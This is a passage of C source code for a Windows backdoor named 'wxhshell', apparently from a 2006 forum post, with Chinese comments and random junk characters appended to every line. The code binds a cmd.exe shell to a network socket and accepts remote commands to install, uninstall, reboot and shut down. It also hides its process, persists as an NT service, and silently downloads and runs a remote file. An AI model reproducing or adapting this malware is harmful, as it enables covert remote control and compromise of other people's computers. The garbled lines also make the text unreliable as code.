  else { ~|"Vl<9  
E`j' <#V!  
    switch(cmd[0]) { oL]uY5eZoe  
  BvP\c_  
  // 帮助 <6(0ZO%,C!  
  case '?': { 0BXr[%{`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eay|>xa2  
    break; atZe`0  
  } 2.Z#\6Vj  
  // 安装 ^;F/^ _  
  case 'i': { {<{VJGY7T  
    if(Install()) & R_?6*n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^t3>Z|DiB^  
    else '@Uu/~;h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q>$B.z  
    break; OkC.e')Vx  
    } vhF9|('G  
  // 卸载 fnX[R2KZ  
  case 'r': { fd4gB6>  
    if(Uninstall()) B :%Vq2`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 43k'96[2d  
    else SA'g`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ug,AvHEnB  
    break; f(y+1  
    } [0Xuo  
  // 显示 wxhshell 所在路径 GFT@Pqq  
  case 'p': { A l;a~45  
    char svExeFile[MAX_PATH]; R([zlw~B5  
    strcpy(svExeFile,"\n\r"); /%cDX:7X  
      strcat(svExeFile,ExeFile); *Hx*s_F  
        send(wsh,svExeFile,strlen(svExeFile),0); a]Pi2:S  
    break; %fg6', 2  
    } H@-q NjM  
  // 重启 +=/j+S`  
  case 'b': { LZ)g&A(j?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d*tWFr|J-  
    if(Boot(REBOOT)) t0f7dU3e;L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n1; a~0P  
    else { bf/6AY7  
    closesocket(wsh); J299 mgB  
    ExitThread(0); V%4P.y  
    } 4 Y=0>FlY0  
    break; ] !*K|?VL  
    } qeMDC#N  
  // 关机 ,esEh5=Ir  
  case 'd': { to: ;:Goa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >\K=)/W2  
    if(Boot(SHUTDOWN)) x=H{Rv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5:r AWq  
    else { /}1|'?P  
    closesocket(wsh); z9 0JZA  
    ExitThread(0); "81'{\(I_  
    } <6;M\:Y*T  
    break; pmP~1=3  
    } _Yo)m |RaB  
  // 获取shell 0y$VPgsKf  
  case 's': { Y[e.1\d'  
    CmdShell(wsh); 5 Y&`ZJ  
    closesocket(wsh); \SmsS^z(]  
    ExitThread(0); WT\wV\Pu  
    break; "iEnsP@'Wg  
  } X_'tgP9  
  // 退出 6{;6~?U  
  case 'x': { 2 K_ QZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;#zteqn  
    CloseIt(wsh); 4Yvz-aSyO  
    break; c9c]1XJ  
    } #jBmWaP.  
  // 离开 IwYfs]-  
  case 'q': { 2@bOy~$A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J t.<Z&  
    closesocket(wsh); 8{0XqE~ix=  
    WSACleanup(); SOG(&)b  
    exit(1); GI{EP&C  
    break; ^;/~$  
        } @"s<0T^H  
  } b$;oty9Y  
  } T[OI/ WuK  
-Y+pLvG*  
  // 提示信息 g<;pyvq|:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0fstEExw  
} lO\HchG zB  
  } `ZL^+h<b>M  
+E9G"Z65iP  
  return; &M5v EPR  
} ,W+=N"`a'  
,l AZ4  
// shell模块句柄  gwIR3u  
int CmdShell(SOCKET sock) ,62~u'hR5  
{ e,#w* |  
STARTUPINFO si; ;S^"Y:7)  
ZeroMemory(&si,sizeof(si)); \ o2oQ3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KPy)%i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (@N ILK  
PROCESS_INFORMATION ProcessInfo; ,>#\aO1n  
char cmdline[]="cmd"; ZzK^ bNx)0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RUr ~u  
  return 0; zU[o_[+7^  
} dlyGgaV*X  
fahQ^#&d`  
// 自身启动模式 rZ,3:x-:  
int StartFromService(void) Uy=yA  
{ >7@,,~3  
typedef struct #SHJ0+)o  
{ bX[ZVE(L  
  DWORD ExitStatus; ;^s|n)F#c  
  DWORD PebBaseAddress; \x$`/  
  DWORD AffinityMask; $-^& AKc  
  DWORD BasePriority; #3ZAMV  
  ULONG UniqueProcessId; _b>z'4_'  
  ULONG InheritedFromUniqueProcessId; \<9aS Y'U  
}   PROCESS_BASIC_INFORMATION; R-$w* =Y  
D|U bh]  
PROCNTQSIP NtQueryInformationProcess; _fgsHx>l7  
(soTkH:#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u0) O Fz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OE[7fDe'  
5X3JQ"z  
  HANDLE             hProcess; 7]So=% q  
  PROCESS_BASIC_INFORMATION pbi; LTBH/[q5  
X)(K|[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QpzdlB44l  
  if(NULL == hInst ) return 0; ?$)a[UnqX  
<9H3d7%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q7pCF,;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vD2(M1Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S7j(4@  
`[E-V  
  if (!NtQueryInformationProcess) return 0; {pi_yr3  
C:&Sk\   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wGMoh.GTh  
  if(!hProcess) return 0; ;*K;)C  
XU<owk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h('5x,G%  
!m=Js"  
  CloseHandle(hProcess); 'H`:c+KDG`  
w9u|E46  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,c&t#mu*0  
if(hProcess==NULL) return 0; K_t >T)K  
:xmj42w>^  
HMODULE hMod; r]}6iF.  
char procName[255]; <%^WZ:c  
unsigned long cbNeeded; <% mD#S  
6;~V@t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B.?F^m@zS  
vp&.  
  CloseHandle(hProcess); <Ed;tq  
9pi{)PDJ  
if(strstr(procName,"services")) return 1; // 以服务启动 Q7`)&^ Hx  
@) MG&X  
  return 0; // 注册表启动 jB9~'>JY  
} S_*Gv O  
rpEIDhHv  
// 主模块 2T%sHp~qt  
int StartWxhshell(LPSTR lpCmdLine) e6J>qwD?  
{  3bd`q $  
  SOCKET wsl; w&}<b%l  
BOOL val=TRUE; vx6lud0k}  
  int port=0; nIlx?(=pu  
  struct sockaddr_in door; ~f[;(?39xZ  
DdISJWc'`5  
  if(wscfg.ws_autoins) Install(); TqS s*as5  
xIc||o$  
port=atoi(lpCmdLine); cJ?,\@uuP  
FW2x  
if(port<=0) port=wscfg.ws_port; ( !m6>m2  
<  j  
  WSADATA data; H #X*OJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v:!TqfI  
3GL?&(eU;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AW_YlS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z<P?p  
  door.sin_family = AF_INET; TXd6o=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V_^pPBa  
  door.sin_port = htons(port); [T'[7 Z  
c#?~1@=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Bk~lM'  
closesocket(wsl); %H_-`A`  
return 1; qfAnMBM1@  
} O,+9r_Gh  
c9@3=6S/  
  if(listen(wsl,2) == INVALID_SOCKET) { }"RVUYU  
closesocket(wsl); 4a!%eBhX"K  
return 1; SH"<f_  
} um<$L  
  Wxhshell(wsl); r.u\qPT&  
  WSACleanup(); L>Ze*dt  
"`S?q G  
return 0; toj5b;+4F  
vG)B}`M  
} ET H ($$M  
y_Gs_xg  
// 以NT服务方式启动 2S:B%cj9m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V\n!?1{kdF  
{ uARkf'  
DWORD   status = 0; `CL\-  
  DWORD   specificError = 0xfffffff; d@8: f  
vN]_/T+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R:'&>.AUw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,\\=f#c=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; < )_#6)z:  
  serviceStatus.dwWin32ExitCode     = 0; %PPy0RZ^  
  serviceStatus.dwServiceSpecificExitCode = 0; ncVt (!c,e  
  serviceStatus.dwCheckPoint       = 0; ,'<NyA><  
  serviceStatus.dwWaitHint       = 0; U0|bKU  
#PC*l\ )  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ())_4 <  
  if (hServiceStatusHandle==0) return; !Dc;R+Ir0!  
Jv%)UR.]  
status = GetLastError(); qv2J0'd'.  
  if (status!=NO_ERROR) VWYNq^<AT  
{ e<8KZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iB~dO @  
    serviceStatus.dwCheckPoint       = 0; S<*1b 6%D  
    serviceStatus.dwWaitHint       = 0; +?QHSIQo  
    serviceStatus.dwWin32ExitCode     = status; VgY6M_V  
    serviceStatus.dwServiceSpecificExitCode = specificError; q)@;8Z=_c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Vh5`-J  
    return; <Nloh+n=  
  } vy7?]}MvV  
wsR\qq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -4 L27C  
  serviceStatus.dwCheckPoint       = 0; G7GKO  
  serviceStatus.dwWaitHint       = 0; KB^GC5L>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {~#01p5  
} )Fqtb;W=  
x a\~(B.  
// 处理NT服务事件,比如:启动、停止 F7=\*U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "*c&[ALw  
{ RZ9_*Lq7+  
switch(fdwControl) YXF^4||j.c  
{ >$3 =yw%  
case SERVICE_CONTROL_STOP: ;_ 1Rk&o!  
  serviceStatus.dwWin32ExitCode = 0; |<1A<fU8a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uTl"4;&j  
  serviceStatus.dwCheckPoint   = 0; ,Cy&tRjR B  
  serviceStatus.dwWaitHint     = 0; m<;MOS  
  { ulEtZ#O{_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~dgFr6  
  } 5YUe>P D  
  return; +,i_G?eX  
case SERVICE_CONTROL_PAUSE: QD-Bt=S7l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; { q&`B  
  break; r' |ei,  
case SERVICE_CONTROL_CONTINUE: ,>kXn1 ,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]g%HU%R-m  
  break; C.}ho.} r  
case SERVICE_CONTROL_INTERROGATE: *Hv d  
  break; Pc+,iK>  
}; zQGj,EAM}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qM>Dt  
} AXo)(\  
@P=n{-pIW  
// 标准应用程序主函数 6@d/k.3p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y'}c$*OkI  
{ :4\_upRE  
]N1,"W}  
// 获取操作系统版本 hbx+*KM  
OsIsNt=GetOsVer(); ,oEAWNbgQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b$*G&d5  
Jcp=<z*0  
  // 从命令行安装 20A:,pMb  
  if(strpbrk(lpCmdLine,"iI")) Install(); p-z!i+  
(f* r  
  // 下载执行文件 Vrp]YR L`  
if(wscfg.ws_downexe) { D [v225  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J|z' <W  
  WinExec(wscfg.ws_filenam,SW_HIDE); x;4m@)Mu  
} g ZES}]N  
xKT;1(Mk  
if(!OsIsNt) { ILHn~d IC  
// 如果时win9x,隐藏进程并且设置为注册表启动 g,Rh Ut9  
HideProc(); vMJC  
StartWxhshell(lpCmdLine); $ M|vIw{#  
} E*v+@rv  
else lZ,$lZg9Z  
  if(StartFromService()) "/hLZl  
  // 以服务方式启动 MGo`j:0  
  StartServiceCtrlDispatcher(DispatchTable); %7Gq#rq  
else n*~#]%4  
  // 普通方式启动 v=IcVHuf  
  StartWxhshell(lpCmdLine); '?$< k@mJW  
I wu^@  
return 0; |g\CS4$  
}
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只看该作者 1 发表于: 2006-10-10
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